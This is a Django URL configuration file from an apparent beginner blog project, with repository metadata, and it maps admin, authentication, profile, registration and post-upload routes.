8c9e896aea142dbcc3a7d374a5036652b671b871 | a7432fc97062811d5335febec0a681d231478ba9 | /main_app/urls.py | de9a5bfaab37a1575932206e7264e9bd44030853 | [] | no_license | zahid-rahman/first-django-project | f3b67a2bd979be19d043fba2bfe528f2814f8ee9 | bba40c4e546fb54f71f8828101f042be669a6054 | refs/heads/master | 2020-04-17T21:47:55.986970 | 2019-02-18T15:08:01 | 2019-02-18T15:08:01 | 166,966,769 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 965 | py |
from django.contrib import admin
from django.urls import path,include
from blog import views as user_views
from django.contrib.auth import views as auth_view
from django.conf import settings
from django.conf.urls.static import static
# urlpatterns = [
# # ... the rest of your URLconf goes here ...
# ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('blog.urls')),
path('profile/',user_views.profile_view,name='profile'),
path('register/',user_views.register_view,name='register'),
path('login/',auth_view.LoginView.as_view(template_name='auth/login.html'),name='login'),
path('logout/',auth_view.LogoutView.as_view(template_name='auth/logout.html'),name='logout'),
path('upload_post/', user_views.upload_post_view, name='upload.post.page'),
]
if settings.DEBUG:
urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) | [
"rahmanzahid94@gmail.com"
] | rahmanzahid94@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.